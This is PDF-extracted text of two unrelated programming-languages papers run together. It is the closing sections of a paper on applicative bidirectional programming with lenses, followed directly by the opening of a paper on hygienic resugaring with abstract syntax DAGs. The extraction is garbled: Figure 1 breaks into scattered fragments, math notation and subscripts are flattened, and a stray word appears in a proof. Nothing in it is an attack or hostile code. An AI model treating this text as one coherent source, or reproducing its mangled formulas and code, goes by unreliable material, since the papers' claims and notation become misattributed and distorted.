(∀s. (LT s a,LT s b)→ R s (LT s c))
→ L (a, b) c

unliftM2 f = L (λs → get (mkLens f s) s)
(λs → put (mkLens f s) s)

where
mkLens f s =

let (`, p) = let R m = f (fst ′L, snd ′
L)

in m (get tag2L s)
`′ = ` ◦̂ tag2L

put ′ s v = let s ′ = put `′ s v
in if p (get tag2L s ′) then s ′ else ⊥

in L (get `′) put ′

Although we define the get and put components of the resulting
lens separately in unliftM2 , well-behavedness is guaranteed as
long as R and LT are used abstractly in f . Note that, similarly
to unliftM2 , we can define unliftM and unliftMT , as monadic
versions of unlift and unliftT .

We can now sprinkle observe at where observations happens,
and use unliftM to guard against changes to them.

good (x , y) = fmap (lift2 idL) $ do
b ← liftO2 ( ) x (new 0)
return (if b then (x , y) else (x ,new 1))

Here, liftO2 is defined as follows.

4 This code actually does not type check as ( ) on (LT s Int)-values
depends on a source and has to be implemented monadically. But we do not
fix this program as it is meant to be a non-solution that will be discarded.

liftO2 :: Eq w ⇒
(a → b → w)→ LT s a → LT s b → R s w

liftO2 p x y = liftO (uncurry p) (x ~ y)

liftO :: Eq w ⇒ (a → w)→ LT s a → R s w
liftO p x = observe (lift (L p unused) x )

where unused s v | v p s = s

Then the obtained lens goodL = unliftM2 good successfully
rejects illegal updates, as put goodL (0, 2) (1, 2) = ⊥.

One might have noticed that the definition of good is in the
Monadic style—not applicative in the sense of [23]. This is necessary
for handling observations, as the effect of (R s) must depend on the
value in it [18].

Due to space restriction, we refer interested readers to our
previous work [21, 22] for practical examples of bidirectional
transformations with observations.

7. Related Work and Discussions
In this section, we discuss related techniques to our paper, mak-
ing connections to a couple of notable bidirectional program-
ming approaches, namely semantic bidirectionalization and the van
Laarhoven representation of lenses.

7.1 Semantic Bidirectionalization
An alternative way of building bidirectional transformations other
than lenses is to mechanically transform existing unidirectional
programs to obtain a backward counterpart, a technique known as
bidirectionalization [20]. Different flavors of bidirectionalization
have been proposed: syntactic [20], semantic [21, 22, 33, 41], and
a combination of the two [35, 36]. Syntactic bidirectionalization
inspects a forward function definition written in a somehow re-
stricted syntactic representation and synthesizes a definition for the
backward version. Semantic bidirectionalization on the other hand
treats a polymorphic get as a semantic object, applying the function
independently to a collection of unique identifiers, and the free the-
orems arising from parametricity states that whatever happens to
those identifiers happens in the same way to any other inputs—this
information is sufficient to construct the backward transformation.

Our framework can be viewed as a more general form of
semantic bidirectionalization. For example, giving a function of type
∀a. [a ]→ [a ], a bidirectionalization engine in the style of [33] can
be straightforwardly implemented in our framework as follows.

bff :: (∀a. [a ]→ [a ])→ (Eq a ⇒ L [a ] [a ])
bff f = unlift list (lsequence list ◦ f )

Replacing unlift list and lsequence list with unliftT and lsequence ,
we also obtain the datatype generic version [33].

With the addition of observe and the monadic unlifting functions,
we are also able to cover extensions of semantic bidirectionaliza-
tion [21, 22] in a simpler and more fundamental way. For example,
liftO2 (and other n-ary observations-lifting functions) has to be a
primitive previously [21, 22], but can now be derived from observe ,
lift and (~) in our framework.

Our work’s unique ability of combining lenses and semantic
bidirectionalization results in more applicability and control than
those offered by bidirectionalization alone: user-defined lenses on
base types can now be passed to higher-order functions. For example,
Q5 of Use Case “STRING” in XML Query Use Case ( http://www.
w3.org/TR/xquery-use-cases) which involves concatenation
of strings in the transformation, can be handled by our technique,
but not previously with bidirectionalization [21, 22, 33, 41]. We
believe that with the proposal in this paper, all queries in XML
Query Use Case can now be bidirectionalized. In a sense we are
a step forward to the best of both worlds: gaining convenience in
programming without losing expressiveness.
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The handling of observation in this paper follows the idea of our
previous work [21, 22] to record only the observations that actually
happened, not those that may. The latter approach used in [33, 41]
has the advantage of not requiring a monad, but at the same time
not applicable to monomorphic transformations, as the set of the
possible observation results is generally infinite.

7.2 Functional Representation of Bidirectional
Transformations

There exists another functional representation of lenses known as the
van Laarhoven representation [26, 32]. This representation, adopted
by the Haskell library lens, encodes bidirectional transformations
of type L A B as functions of the following type.

∀f .Functor f ⇒ (B → f B)→ (A→ f A)

Intuitively, we can read A → f A as updates on A and a lens
in this representation maps updates on B (view) to updates on A
(source), resulting in a “put-back based” style of programming [27].
The van Laarhoven representation also has its root in the Yoneda
Lemma [17, 24]; unlike ours which applies the Yoneda Lemma to
L (−) V , they apply the Yoneda Lemma to a functor (V ,V →
(−)). Note that the lens type L S V is isomorphic to the type
S → (V ,V → S).

Compared to our approach, the van Laarhoven representation
is rather inconvenient for applicative-style programming. It cannot
be used to derive a put when a get is already given, as in bidirec-
tionalization [20–22, 33, 35, 36, 41] and the classical view update
problem [1, 6, 8, 13], especially in a higher-order setting. In the van
Laarhoven representation, a bidirectional transformation ` :: L A B ,
which has get ` :: A→ B , is represented as a function from some
B structure to some A structure. This difference in direction poses
a significant challenge for higher-order programs, because struc-
tures of abstractions and applications are not preserved by inverting
the direction of→. In contrast, our construction of put from get
is straightforward; replacing base type operations with the lifted
bidirectional versions is suffice as shown in the unlinesL and evalL
examples (monadification is only needed when supporting observa-
tions). Moreover, the van Laarhoven representation does not extend
well to data structures: n-ary functions in the representation do not
correspond to n-ary lenses. As a result, the van Laarhoven repre-
sentation itself is not useful to write bidirectional programs such as
unlinesL and evalL. Actually as far as we are aware, higher-order
programming with the van Laarhoven representation has not been
investigated before.

By using the Yoneda embedding, we can also express L A B as
functions of type ∀v .L B v → L A v . It is worth mentioning
that L (−) V also forms a lax monoidal functor under some
conditions [30]; for example, V must be a monoid. However,
although their requirement fits well for their purpose of constructing
HTML pages with forms, we cannot assume such a suitable monoid
structure for a general V . Moreover, similarly to the van Laarhoven
representation, this representation cannot be used to derive a put
from a get .

8. Conclusion
We have proposed a novel framework of applicative bidirectional
programming, which features the strengths of lens [4, 9, 10] and
semantics bidirectionalization [21, 22, 33, 41]. In our framework,
one can construct bidirectional transformations in an applicative
style, almost in the same way as in a usual functional language.
The well-behavedness of the resulting bidirectional transformations
are guaranteed by construction. As a result, complex bidirectional
programs can be now designed and implemented with reasonable
efforts.

A future step will be to extend the current ability of handling
shape updates. It is important to relax the restriction that only closed
expressions can be unlifted to enable more practical programming.
A possible solution to this problem would be to abstract certain
kind of containers in addition to base-type values, which is likely to
lead to a more fine-grained treatment of lens combinators and shape
updates.
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Abstract
Syntactic sugar is widely used in language implementation. Its
benefits are, however, offset by the comprehension problems it
presents to programmers once their program has been transformed.
In particular, after a transformed program has begun to evaluate
(or otherwise be altered by a black-box process), it can become
unrecognizable.

We present a new approach to resugaring programs, which is
the act of reflecting evaluation steps in the core language in terms
of the syntactic sugar that the programmer used. Relative to prior
work, our approach has two important advances: it handles hygiene,
and it allows almost arbitrary rewriting rules (as opposed to re-
stricted patterns). We do this in the context of a DAG representation
of programs, rather than more traditional trees.

Categories and Subject Descriptors D.3.3 [Programming Lan-
guages]: Language Constructs and Features

Keywords syntactic sugar, resugaring, hygiene, abstract syntax
DAG

1. Introduction
Syntactic sugar has a venerable history in programming languages,
starting with its use by Landin [10]. Desugaring is now actively
used in many practical settings:

• In the definition of language constructs in many languages
ranging from Python to Haskell.
• To extend the language, in languages ranging from the Lisp

family to C++ to Julia.
• To shrink the semantics of large scripting languages with many

special-case behaviors, such as JavaScript and Python, to small
core languages that tools can more easily process.

Of course, once a program has been desugared, it is much harder for
its programmer to recognize. Worse, when desugaring is followed
by any phase that rewrites terms, such as evaluation, optimization,
or theorem proving, there is typically no easy way to view the
rewritten terms using their original pre-transformation syntax. This
penalizes either the programmer who uses the sugar (who must
contend with the details of desugaring) or the language designer
(who must decide whether to forgo sugar and deal with a larger,

more complex language). In short, it violates the abstraction that
syntactic sugar ought to provide.

What we instead need is to lift an evaluation (or other reduction)
sequence back to the surface language in terms of the original pro-
gram. That is, we must reconstruct a source term that reflects what
the intermediate term would have been had the reduction process
been defined explicitly in terms of the source language (which, for
practical reasons, it is not). We build on the idea of resugaring pre-
viously introduced by Pombrio and Krishnamurthi [13]. That work
gives a method to reconstruct surface (i.e., pre-transformation)
terms out of core (i.e., post-transformation) terms. This work im-
proves upon that in two notable ways:

• The earlier work did not handle hygiene, which is a standard
part of desugaring systems. Our work expressly handles hy-
giene.
• The earlier work handled only limited rewriting systems: ones

where syntactic sugar could be expressed as a set of declarative
rules in a very limited language (akin to the syntax-rules [15]
macro system). This significantly limited the applicability of
that work. This work permits the use of arbitrary functions, so
long as they are compositional in the desugaring of their sub-
terms (i.e., do not probe the content of the subterms). Our work
can therefore handle the vast majority of complex desugaring
rules used in real languages. For instance, the earlier paper
could not handle some of the sugar used to implement Pyret
(pyret.org), a new functional programming language, but the
work in this paper can.

This work makes two additional contributions:

• Just like the prior work, we provide semantic guarantees about
resugaring, so that a programmer gets output that is both mean-
ingful and predictable. The previous work defined three goal
properties: Emulation, Abstraction, and Coverage. We prove the
same Emulation theorem (Theorem 1), prove a richer version of
Abstraction (Theorem 2), and put Coverage — which was only
evaluated empirically in the prior work — on a formal footing
(Theorem 4).
• In defining this resugaring system, we shift from traditional ab-

stract syntax trees to a different representation: abstract syn-
tax DAGs (ASDs), whose back-edges represent references from
bound to binding instances. Using this we are able to recon-
struct a traditional hygiene theorem (Section 4.3) without hav-
ing to assume that the desugaring algorithm is itself “hygienic”.

An ASD is simply a tree that reflects binding structure. For instance,
the ASD representation of the term λx. λx. x is:

Permission to make digital or hard copies of all or part of this work for personal or
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ASDs differ from typical AST representations in two ways: (i) their
variable references unambiguously link to their declaration sites,
and (ii) their nodes, including variable declarations, have identity.
Thus, for instance, the two declarations of x above are not equal.
Similarly, a second copy of this ASD would not be equal to the
first, since its nodes would differ in identity. (It would, however, be
isomorphic.)

Overall, then, our approach has the following shape. A program
is initially converted from an abstract syntax tree to an ASD through
a process called scope resolution, which makes the binding struc-
ture explicit. This program is then desugared. After each step of
the resulting evaluation (or other transformation), our approach at-
tempts to resugar it. If it can be resugared, the resulting ASD is then
unresolved to produce a term in the source language; otherwise the
step is skipped:

surf AST1 surf ASD′1 core1

(skipped) core2

surf AST2 surf ASD′2 core3

...

resolve

unresolve

desugar

resugar fails

resugar

step

step

step

step

step

We discuss the structure of the ASD in Section 3, resolution in Sec-
tion 3.2, unresolution in Section 3.3, resugaring (and desugaring)
in Section 4, and how it applies to sequences of terms (including
the skipping of terms) in Section 5.

Terminology
Throughout the paper, we will often make the following distinc-
tions:

surface vs. core The surface is the language before desugar-
ing, and the core is the language after.

declaration vs. reference A variable’s declaration is the bind-
ing site that introduces it. A reference is a use of a variable,
typically in expression position. We take this naming con-
vention from Erdweg et al. [3].

2. A Worked Example
We will motivate our term representation by showing two problems
that arise during resugaring, and how representing terms as ASDs
instead of ASTs fixes both problems. The first, which arises during
desugaring, is the familiar hygiene problem (Section 2.1), and
is solved by the fact that the ASD distinguishes identifiers that
happen to share the same name. The second problem (Section 2.2)
arises when resugaring, and is solved by the fact that the ASD
distinguishes nodes that happen to represent the same syntactic
construct.

2.1 Desugaring: Variable Capture
The first column of Fig. 1 shows the unhygienic desugaring of a
program, leading to variable capture; we will describe it in detail.

The premise of the example is that a programmer, while de-
veloping an application involving TCP/IP connections, invokes a

syntactic sugar that performs logging. The surface program the pro-
grammer wrote is shown in the first column. (VERBOSE is a prede-
fined constant.)

The definition of this sugar is shown in the second row. The
sugar log α to β when γ writes α to the file-system port β
when the condition γ is true.

A naive, unhygienic expansion of the log sugar is shown in
the third row. The highlighted code simply shows the instantiation
of pattern variables α, β, and γ (to improve legibility), and the
[C1 ⇒ C2] tag can be momentarily ignored. Unsurprisingly, this
unhygienic expansion causes the variable port to be captured. As a
result, the program eventually fails with a runtime type error when
to str is called on a file-system port.

Of course there are many hygienic transformation systems that
could be used here. However, if we first resolve terms to ASDs
the problem does not arise and an otherwise naive desugaring
suffices. In particular, in an ASD, each variable declaration in a
term has an unique identity. Rows 1–3 of the second column show
the desugaring and subsequent core evaluation of the program as
represented as an ASD. Since the two port variables are now
represented distinctly, capture no longer occurs and the program
behaves correctly when evaluated. As would be expected, the first
evaluation step evaluates the let, and the second evaluates the
outer if.

2.2 Resugaring: Code Capture
Let us see, however, what happens when this evaluation sequence
is resugared. First of all, to be able to resugar, we must tag terms by
the sugar they came from. This is necessary, for instance, to know
whether the core code came from an invocation of log, or whether
the programmer happened to write that code directly. Thus we put
a tag [C1 ⇒ C2] on the expansion of a sugar, where C1 and C2 are
patterns representing the part of the term that was rewritten during
desugaring. How this works in the face of arbitrary desugaring
functions will be explained in Section 4.2. (There should also be
a tag around the outer let; we have elided it for brevity.)

We will give a full account of resugaring in Section 4, but for
now it suffices to say that to resugar a term t tagged by [C1 ⇒ C2],
undo the rewrite the sugar performed: check to see if t matches the
pattern C2, yielding a substitution that maps “pattern variables” to
syntactic terms, and if so apply that substitution to C1. Resugar-
ing the core sequence above thus produces the surface evaluation
sequence shown in the last row of column 2.

The first two steps are fine. The first term is the same as the orig-
inal program (having been accurately reconstructed by resugaring),
and the second shows that the let has been substituted properly.
The third term is strange, however, and is a non sequitur with re-
spect to the second.

What happened is that the sugar’s if statement in C2 was
matched against the programmer’s if statement, causing it to be
“resugared”. As a result, this surface term makes no sense as a
follow-up to the previous surface term. We dub this “code capture”,
and it is somewhat analogous to variable capture. Just as renaming
port to tcp port would have changed the meaning of the program
when unhygienically desugaring, refactoring the surface code if
VERBOSE then STDERR else DEVNULL to if not(VERBOSE)
then DEVNULL else STDERR would prevent this term from be-
ing resugared, changing the surface sequence.

In the third column of Fig. 1, each node in the term is given
a unique identity. We represent their identity with numeric sub-
scripts; these numbers have no further meaning and, e.g., do not
represent an ordering. (One result of giving nodes identity is that
each time a rule is applied it is freshly instantiated; thus the desug-
aring rule in the second row shows a particular instantiation of the
log sugar.)
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No identity Variables have identity All nodes have identity

Pr
og

ra
m let port = 80 in

log "Port: " + to str(port)

to (if VERBOSE

then STDERR

else DEVNULL)

when true

let port = 80 in
log "Port: " + to str(•)
to (if VERBOSE

then STDERR

else DEVNULL)

when true

let1 port = 802 in
log3 "Port: "4 + to str5(•)
to (if6 VERBOSE7

then STDERR8
else DEVNULL9)

when true10

Su
ga

r C1 = log α to β when γ
⇓

C2 = let port = if γ
then β
else DEVNULL in

write(α, port)

C1 = log α to β when γ
⇓

C2 = let port = if γ
then β
else DEVNULL in

write(α, •)

C1 = log3 α to β when γ
⇓

C2 = let11 port = if12 γ
then β
else DEVNULL13 in

write14(α, •)

C
or

e
ev

al
ua

tio
n

se
qu

en
ce let port = 80 in

[C1 ⇒ C2]
let port = if true then

(if VERBOSE

then STDERR

else DEVNULL)
else DEVNULL in

write("Port: " + to str(port),
port)
↓

...
↓

Error! to str given
filesystem port

let port = 80 in
[C1 ⇒ C2]
let port = if true then

(if VERBOSE

then STDERR

else DEVNULL)
else DEVNULL in

write("Port: " + to str(•), •)
↓

[C1 ⇒ C2]
let port = if true then

(if VERBOSE

then STDERR

else DEVNULL)
else DEVNULL in

write("Port: " + to str(80), •)
↓

[C1 ⇒ C2]
let port = if VERBOSE

then STDERR

else DEVNULL in

write("Port: " + to str(80), •)
↓
...

let1 port = 802 in
[C1 ⇒ C2]
let11 port = if12 true10 then

(if6 VERBOSE7
then STDERR8
else DEVNULL9)
else DEVNULL13 in

write14("Port: "4 + to str5(•), •)
↓

[C1 ⇒ C2]
let11 port = if12 true10 then

(if6 VERBOSE7
then STDERR8
else DEVNULL9)

else DEVNULL13 in
write14("Port: "4 + to str5(80), •)

↓
[C1 ⇒ C2]
let11 port = if6 VERBOSE7

then STDERR8
else DEVNULL9 in

write14("Port: "4 + to str5(80), •)
↓

...
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ce let port = 80 in
log "Port: " + to str(•)
to (if VERBOSE

then STDERR
else DEVNULL)

when true
↓

log "Port: " + to str(80)
to (if VERBOSE

then STDERR
else DEVNULL)

when true
↓

log "Port: " + to str(80)
to STDERR
when VERBOSE

↓
...

let1 port = 802 in
log3 "Port: "4 + to str5(•)
to (if6 VERBOSE7

then STDERR8
else DEVNULL9)

when true10
↓

log3 "Port: "4 + to str5(80)
to (if6 VERBOSE7

then STDERR8
else DEVNULL9)

when true10

↓

...

Figure 1. Desugaring and Resugaring Example
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Crucially, in the last core step shown, since if6 in the term does
not match if12 in the right-hand-sideC2 of the tag, this term cannot
be resugared. As a result, it is correctly skipped in the surface
evaluation sequence.

Thus changing the term representation from ASTs to ASDs pre-
vented both variable capture and code capture. Variable capture was
prevented because variables in an ASD have identity and variable
references point directly to their declarations; while code capture
was prevented because other nodes in an ASD also have identity.

3. Terms
We will now begin to describe our resugaring system formally,
beginning with the definition of ASD terms. While ASDs are DAGs,
the sharing present in them is limited to only their (variable) leaves,
allowing us to use a simple textual representation: variables and
nodes will be given subscripts that identify them. Thus we use
subscripts to represent the DAG structure of terms. As an example,
the desugared program from the previous section would be written:

let10 port1 = 8011 in
[C1 ⇒ C2] let12 port2 = if13 true14 then

(if15 VERBOSE16 then STDERR17 else DEVNULL18)
else DEVNULL19 in

write10("Using port "21 + to str22(port1),
port2)

Our formal definition of terms is inspired by Gabbay and Pitts’
Nominal Logic [5]. We start by defining two kinds of atoms: atoms
that provide identity to nodes are taken from a set A, and atoms that
represent variables are pairs of a variable name from a set X and a
unique subscript taken from U:

atom ::= xu where x ∈ X and u ∈ U
| a where a ∈ A

In the case that a term’s binding structure has not yet been resolved,
a unique identifier u ∈ U will not have been chosen for its vari-
ables. In this case, we will write x for xfree where free is a dis-
tinguished element of U. Likewise, let free also be a distinguished
element of A for nodes that lack identity. (The two frees will be
distinguished by context.)

Next we define terms over some fixed set of node types N as
follows:

t ::= decl(xu)
| ref(xu)
| val(val)
| nodea(n,

−→
ti ) where n ∈ N

| tagC1⇒C2
t

Declarations decl represent variables in binding position, while
references ref represent variables in use position. Nodes node
represent both compound terms that have subterms, and constants.
Tags tagC1⇒C2

record how a sugar was expanded so that it may
be reversed later (patterns C will be defined momentarily). Values
val represent runtime values. We are agnostic to the representation
of values, and never inspect or modify val.

We do not assume that values have identity (i.e., subscripts),
since this would require expensive runtime tagging. This introduces
a problem, however: code capture could occur in part of a sugar that
expanded to a value, since there would be no way to distinguish
between, e.g., a val(6) introduced by the sugar and a val(6) in-
troduced by the programmer. Thus the syntactic term 6 (that, when
evaluated, produces the value 6) should be formally represented
with a node such as nodea(int, val(6)).1

1 This term/value distinction is also the reason that the term 80 loses its
subscript after being evaluated to a value in Fig. 1.

Comparison to Traditional Hygiene
At first glance, our approach appears very similar to traditional
approaches to hygiene, such as the original time-stamping al-
gorithm by Kohlbecker et al. [8]. We will detail the similarities
and differences here; our relationship to other work is given in
Section 7. Their technique works by coloring all of the syntax
with a fresh color (a syntax can have more than one color) at
each expansion step. The set of unique colors that a variable
has then serves to distinguish distinct identifiers that happen to
share the same name. This would seem akin to our subscripts.
However, our technique differs in three respects:

1. First, our variable subscripts uniquely determine identity,
while theirs only determines identity up to the phases of
expansion. For instance, if a macro expanded to λx. λx. x,
their approach would color it λxphase1. λxphase1. xphase1. We,
however, would resolve this term to λx1. λx2. x2, distin-
guishing between the two xs introduced by the same phase
of expansion.

2. Second, we give identity to all nodes, not just variables.

3. Third, scope for them is defined by the desugaring, whereas
we define it explicitly for the surface language.

These technical differences reveal a philosophical difference:
inasmuch as they assign unique colors to variables, it ends up
implicitly reconstructing DAGs, whereas we do so directly and
completely.

Desugaring and resugaring will also make use of patterns,
which are terms with holes αi (i.e. “pattern variables”) in them:

C ::= decl(xu)
| ref(xu)
| val(val)

| nodea(n,
−→
Ci) where n ∈ N

| αi for i ∈ N

Holes may occur at most once in a pattern.
We will distinguish between terms (and patterns) whose binding

structure has been resolved, and those whose binding structure
is still unresolved. Unresolved terms are traditional ASTs, while
resolved terms are our ASDs. In an unresolved term, then, every
atom has the form x (that is, xfree ). In a resolved term, however,
every declaration atom has a unique name xu, so there can be no
confusion between two variables that happen to share the same
name. Later, in Section 3.2, we will show how to resolve the
binding structure of a term, given scoping rules for the language.

3.1 Permutations
We will use permutations both to define α-equivalence and to
resolve terms’ scope. Permutations can act both on atoms directly,
or on terms. A permutation applied to a term will act on the atoms
of the term, leaving its overall shape unchanged. Permutations are
defined as follows, and their action is shown in Fig. 2:

σ ::= ε | (a↔ b) | σ1 ◦ σ2

Permutations form a group where ε is the identity, ◦ is group
multiplication, and σ−1 is given by (a ↔ b)−1 = (a ↔ b) and
(σ1 ◦ σ2)−1 = σ−1

2 ◦ σ
−1
1 . The domain of a permutation is the set

of elements it permutes: dom(σ) = {a | σ • a 6= a}.
It will be useful to compute a union of permutations σ1 + σ2

that has the same action as either of them over their domains.
More precisely, let σ1 ⊆ σ2 mean that for all a ∈ dom(σ1),
σ1 • a = σ2 • a. Then σ3 = σ1 + σ2 is the least permutation
such that σ3 ⊇ σ1 and σ3 ⊇ σ2, and can be computed using the
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σ • a 7→ a
(a↔ b) • a = b
(a↔ b) • b = a
(a↔ b) • c = c when c 6∈ {a, b}

σ • t 7→ t
ε • t = t
(σ1 ◦ σ2) • t = σ1 • σ2 • t
σ • αi = αi
σ • decl(xu) = decl(σ • xu)
σ • ref(xu) = ref(σ • xu)
σ • val(val) = val(val)

σ • nodea(n,
−→
ti ) = nodeσ•a(n,

−−−→
σ • ti)

σ • tagC⇒C′ t = tagσ•C⇒σ•C′ σ • t

Figure 2. Permuting

following rules (and is undefined when none apply):

(σ1 + σ2) • a =


σ1 • a if a 6∈ dom(σ2)

σ2 • a if a 6∈ dom(σ1)

b if σ1 • a = σ2 • a = b

3.2 Resolution, Informally
As we argued earlier, it is best to think of terms as DAGs. It is then
intuitively clear that capture will not be a problem. Our intuition
relies on the fact that each variable declaration in the term is unique.

We will show how to resolve a term t that does not initially
have this property by making each of its declarations fresh. We call
the resolution operator R. There are two situations in which this
resolution will be necessary:

1. First, the initial program written by the programmer must be
resolved.

2. Second, when a piece of sugar is expanded, the code introduced
by the sugar must be resolved.

To give an example of resolution, consider a simplified version
of the initial program from Section 2:

let port = 80 in
log port to STDERR when true

Roughly speaking,R chooses a fresh identity xu for each variable
declaration x, and then permutes x with xu within the scope of that
declaration. At the same time, nodes are assigned fresh identities. In
this example, port would be assigned a fresh subscript port1, and
the permutation (port ↔ port1) would be applied in its scope,
producing:

let10 port1 = 8011 in
(port↔ port1) •

log12 port to STDERR13 when true14
= let10 port1 = 8011 in

log12 port1 to STDERR13 when true14

3.3 Unresolution, Informally
While having fresh declarations is helpful to ensure properties like
hygiene, the user of the language should not be exposed to them.
Often their subscripts can simply be dropped, but other times this
would result in variable capture. Thus we will give an unresolution
algorithm that renames variables as necessary to avoid capture.
(This is left implicit in many other hygiene algorithms that either
(i) perform spurious renaming or (ii) color variables but do not
say how to present them.) Our algorithm for doing so tries to use

variables’ original names, and renames a variable only when it is
threatened with capture, as shown in Lemma 2.

We present an example of this algorithm using the term from
Section 2 that threatened variable capture. We will make a few
changes for expository purposes: we simplify the program to focus
on its binding structure and introduce one extra let binding to bet-
ter show the behavior of unresolution. We also ignore the identities
of nodes (which are removed during unresolution in a straightfor-
ward way) and focus just on variables. Here is the term we wish to
unresolve:

let msg1 = "Port: " in
let port2 = 80 in

let port3 = STDERR in
write(msg1 + to_str(port2), port3)

Unresolution proceeds in two phases. The first phase, findThreats,
safely but conservatively estimates the set of variable references at
risk of capture. Specifically, it estimates that a variable xu is at risk
of being captured iff it is in scope of a different variable xu′ of the
same name.

In this case, findThreats:

• correctly concludes that msg1 is not at risk of capture, since it is
not in scope of any other variable of the same name
• correctly concludes that port2 is at risk of capture, since it is in

scope of port3
• over-conservatively concludes that port3 is at risk of capture,

since it is in scope of port2

Thus the final set of threats returned is {port2, port3}
The second phase, renameThreats, begins by picking a fresh

variable name for each threatened variable, perhaps producing the
map port2 7→ portA, port3 7→ portB. It then renames all
variables in the term: threatened variables are looked up in the map,
while others simply have their suffix removed, producing:

let msg = "Port: " in
let portA = 80 in

let portB = STDERR in
write(msg + to_str(portA), portB)

Combining these two phases will give an unresolution operator
U that turns ASDs back into ASTs.

3.4 Resolution and Unresolution, Formally
We have given examples of scope resolution and unresolution, and
now present them formally. To begin, we need a language-agnostic
algebra for expressing the scoping rules of a language. We will
use the binding combinators defined in the Romeo expansion sys-
tem [16]. (It is worth noting, however, that the rest of our system re-
lies only on term resolution and unresolution; thus a different scope
resolution mechanism could be substituted in place of Romeo’s.) In
Romeo’s scoping algebra, terms can export bindings to be used by
other terms, and a term that has subterms can choose which of its
subterms’ exported bindings should be imported into which of its
other subterms. The combinators β for expressing binding imports
and exports are:2

β ::= ε | i | β1 ◦ β2 | β1 + β2

Here ε is the empty binding, i denotes the bindings exported by the
i’th subterm, ◦ denotes left-biased union, and + denotes disjoint
union. The meaning JβK (−→σi) of these combinators is given by how
they act on a list of permutations −→σi (specifically, the permutations
exported by the nodes of its children). They can also act on sets

2 In Romeo, the combinators ◦ and + are written . and +∪ respectively, and
their action is defined differently, but they behave the same.
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JβK (−→σ ) 7→ σ

JεK (−→σi) = ε
JjK (−→σi) = σj
Jβ1 ◦ β2K (−→σi) = Jβ1K (−→σi) ◦ Jβ2K (−→σi)
Jβ1 + β2K (−→σi) = Jβ1K (−→σi) + Jβ2K (−→σi)

JβK (
−−−−−→
{xu, ...}) 7→ {xu, ...}

JεK (
−→
Si) = ∅

JjK (
−→
Si) = Sj

Jβ1 ◦ β2K (
−→
Si) = Jβ1K (

−→
Si) ∪ Jβ2K (

−→
Si)

Jβ1 + β2K (
−→
Si) = Jβ1K (

−→
Si) ∪ Jβ2K (

−→
Si)

Figure 3. Binding Combinators

of variables. Their action in either case is shown in Fig. 3. The
pun of using ε, ◦ and + both for permutations and as the binding
combinators is on purpose, as each is just the lifted form of the
other.

These binding combinators are used to give a binding signature
sign(n) = (

−→
βi) ↑ β to each node constructor n, where βi are

the imports of its children, and β are its exports. (The up-arrow is
merely notation for a pair.)

The algorithms for scope resolution R and unresolution U are
given in Fig. 4. In the figure, new u. generates a globally unique
fresh name or id u, and t //C is used to copy the fresh ids chosen
for t onto C. In R, recursive calls return a pair of a term t and
the permutation σ that it exports; this pair is written t ↑ σ. We
will slightly abuse notation by using term/permutation pairs, like
R(t) = t′ ↑ σ, in situations where terms are expected; in this case
we mean for the permutation to be ignored.

The U function uses three helper functions: (i) exports(t)
finds the set of variable declarations provided by a term t, (ii)
findThreats(t, S) recursively finds threatened variables in term t (S
is the set of variables “in scope” at t), and (iii) renameThreats(t, f)
renames variables in t according to f .

Scope resolution and unresolution are approximately inverses
of one another. To make this formal, say that two terms t1 and t2
are isomorphic t1 ' t2 when they differ only up to a permutation:

Definition 1 (isomorphism). t1 ' t2 when ∃σ. σ • t1 = t2

Then resolution and unresolution obey the rule:

Lemma 1. R(U(R(t))) ' R(t)

Proof sketch. We aim to show that performing U and then R on
a term R(t) is the identity up to permutation. Neither R nor
U change the shape of the term, so we only need consider how
they modify variables. Consider first the variable declarations, then
references.

A variable declaration decl(xu) inR(t) will get mapped by f
in U to some decl(y), and then to some decl(yv) for fresh v in
R. This is fine.

Now consider references. The only concern is that some ref-
erence ref(xu) in R(t) might get mapped to ref(y) by f (as it
must) but then get mapped to some decl(yv′) for v′ 6= v by R.
Since the reference ref(xu) in R(t) obtained the subscript u via
R in the first place, it must have been acted on by the permutation
(x ↔ xu) from decl(xu). Thus, in the second R step, it will be
acted on by the permutation (y ↔ yv) from decl(yv). The only
remaining concern is that it may also be acted on by a different per-
mutation (y ↔ yv′) with v′ 6= v. But any variable in danger of

Σ • C 7→ t
Σ • val(v) = val(v)
Σ • αi = t when αi → t ∈ Σ
Σ • decl(xu) = decl(xu)
Σ • ref(xu) = ref(xu)

Σ • nodea(n,
−→
Ci) = nodea(n,

−−−−→
Σ • Ci)

Figure 5. Substitution

causing this would have been found by findThreats and renamed
during U .

Once terms have been resolved, it is easy to compare them for
equality up to renaming: two resolved terms are α-equivalent when
they are identical up to a permutation of their variables. We will
write t1 =α t2 to mean that t1 and t2 are α-equivalent.

Definition 2 (α-equivalence). t1 =α t2 when
R(t1) ' R(t2)

Lemma 2. U(t) will only rename a variable reference xu in t if it
is in scope of a declaration xu′ with u′ 6= u.

Proof. The only variables which are renamed by
renameThreats are those in the set returned by findThreats, so we
just need to argue that findThreats only finds threatened variables.
The only nonempty base case for findThreats is that for variable
references, given by:

findThreats(ref(xu), S) = {xu} if {xu′ ∈ S | u 6= u′} 6= ∅
else ∅ blah

The set S of variables it passes along recursively is precisely the set
of variables in scope at that point, so findThreats will only produce
{xu} when some xu′ “threatens” to capture xu.

4. Desugaring and Resugaring
In this section, we introduce the primary algorithms of our resugar-
ing system: the algorithms for desugaring and resugaring individual
terms. They can then be used to resugar an evaluation sequence via
the pseudo-code algorithm:

def showSurfaceSequence(s):
let c = desugar(s)
while c can take a reduction step:
let s′ = resugar(c)
if s′ was successful: print(s′)
c := step(c)

4.1 Matching and Substitution
During desugaring and resugaring, our system will match terms
against patterns, producing a substitution from holes αi to sub-
terms, and then apply this substitution to another pattern.

Σ ::= ε | αi → t | Σ1 ◦ Σ2

We will overload the notations • and ◦ to also refer to substitu-
tion, and will define symmetric composition the same way as for
permutations:

(Σ1 + Σ2) • α =


Σ1 • α if α 6∈ dom(Σ2)

Σ2 • α if α 6∈ dom(Σ1)

t if Σ1 • α = Σ2 • α = t

Substitution is defined in Fig. 5. Unlike permutations, substitutions
do not form a group because they typically do not have inverses.

A term can be matched against a pattern to produce a substi-
tution, as shown in Fig. 6. Matching and substitution are nearly
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R(t) 7→ t

R(t) = fst(R1(t)) (where fst(t ↑ σ) = t)

U(t) 7→ t

U(t) = renameThreats(t, f) where S = findThreats(t, ∅)
and f(xu) = new y. y for xu ∈ S
and f(xu) = x otherwise

R1(t) 7→ t ↑ σ
R1(val(val)) = val(val) ↑ ε
R1(ref(xu)) = ref(xu) ↑ ε
R1(decl(xu)) = new u′. decl(xu′) ↑ (xu ↔ xu′)
R1(tagC⇒C′ t) = tagC⇒(t′//C′) t

′ where t′ = R1(t)
